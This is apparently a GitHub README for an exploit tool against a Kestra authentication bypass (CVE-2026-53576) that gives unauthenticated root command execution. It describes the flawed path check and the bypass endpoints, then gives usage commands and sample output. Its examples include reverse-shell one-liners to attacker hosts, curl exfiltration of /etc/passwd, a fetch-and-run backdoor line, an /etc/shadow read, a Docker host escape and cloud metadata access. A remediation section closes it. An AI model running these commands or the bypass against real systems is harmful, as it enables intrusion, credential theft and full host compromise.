Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

Critical Authentication Bypass leading to Unauthenticated Remote Code Execution

Exploit • Vulnerability Details • Impact • Remediation

⚠️ DISCLAIMER

This tool is for educational and authorized security testing purposes only.

DO NOT use this against systems you don't own or lack explicit written permission to test.

DO NOT use this for illegal activities.

The author is NOT responsible for any misuse of this tool.

Use at your OWN RISK.

🔍 Overview

CVE-2026-53576 is a critical vulnerability in Kestra OSS versions up to v1.3.20 that allows unauthenticated remote code execution via an authentication filter bypass.

Key Details

🚨 Vulnerability Details

Root Cause

The authentication filter in Kestra contains a critical logic flaw:

// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

This checks if any API request ends with /configs, rather than matching the exact route. This allows attackers to bypass authentication by appending /configs to any endpoint.

Exploitation Steps

Create malicious flow → POST /api/v1/main/flows/configs (bypasses auth)
Trigger execution → POST /api/v1/main/executions/configs/configs (bypasses auth)
Commands run as root → Full system compromise

Vulnerable Endpoints

# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 Exploit Usage

Basic Usage

python3 kestra_exploit.py <target_ip>

Advanced Usage

# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

Command Options

📦 Installation

Requirements

pip install requests

Clone Repository

git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

Verify Installation

python3 kestra_exploit.py --help

🎯 Examples

Example 1: Basic Exploitation

python3 kestra_exploit.py 192.168.1.100

Output:

============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

Example 2: Reverse Shell

python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Example 3: Data Exfiltration

python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

Example 4: Docker Escape Check

python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 Impact

Direct Impact

Attack Capabilities

An unauthenticated attacker can:

Execute arbitrary commands as root:

# Read secrets
cat /app/conf/application.yml

# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Install malware
curl http://attacker.com/backdoor.sh | bash

Pivot to host system (if Docker socket mounted):
```
docker run -v /:/host --privileged alpine chroot /host
```
Access cloud metadata (if on cloud provider):
```
curl http://169.254.169.254/latest/meta-data/
```

🛡️ Remediation

Immediate Actions

Shut down vulnerable instances:
```
sudo systemctl stop kestra
```

Block public access:

iptables -A INPUT -p tcp --dport 8080 -j DROP

Apply firewall rules:
- Restrict to internal networks
- Use VPN for administrative access

Permanent Fix

Update Kestra to the latest patched version:
- Monitor: https://github.com/kestra-io/kestra
- Check: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
Implement proper authentication:
- Use OAuth2/OIDC instead of Basic Auth
- Enable multi-factor authentication
Container hardening:
- Run as non-root user
- Don't mount /var/run/docker.sock
- Use read-only root filesystem
Network hardening:
- Use API gateway with proper routing
- Implement WAF rules
- Enable request validation

📅 Timeline

Date	Event
2026-05-26	Vulnerability discovered
2026-06-03	Kestra Security Advisory published
2026-06-10	CVE-2026-53576 assigned

📚 References

📄 License

MIT License

Copyright (c) 2026 Security Researcher

Permission is hereby granted, free of charge, to any person obtaining a copy
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in the Software without restriction, including without limitation the rights
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SOFTWARE.

⭐ Support

If you find this tool useful:

⭐ Star the repository
🐛 Report issues
🔄 Submit pull requests
📢 Share responsibly

🙏 Acknowledgments

Kestra Team for their security advisory
Security researchers who disclosed this vulnerability
The open-source security community

⚠️ USE RESPONSIBLY ⚠️

Report Vulnerability • Security Policy • Contact

CVE ID	CVE-2026-53576
Severity	Critical (9.8 CVSS)
Vulnerability Type	Authentication Bypass + RCE
Affected Product	Kestra OSS
Affected Versions	≤ v1.3.20
Attack Vector	Network
Authentication Required	None
User Interaction	None

`target`	Target IP address or hostname (required)
`-p, --port`	Port (default: 8080)
`--https`	Use HTTPS instead of HTTP
`-c, --command`	Custom command to execute
`--docker-check`	Check for Docker socket access
`--cleanup`	Delete the flow after exploitation
`--delay`	Delay between requests (default: 2s)

Confidentiality	⚠️ Critical	Read any file (passwords, secrets, configurations)
Integrity	⚠️ Critical	Create/modify/delete flows and data
Availability	⚠️ High	Shutdown system, resource exhaustion
Authentication	⚠️ Critical	Complete bypass of Basic-Auth
Privilege Escalation	⚠️ Critical	Commands run as root (uid=0)
Container Escape	⚠️ Critical	Host compromise via Docker socket

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CVE-2026-53576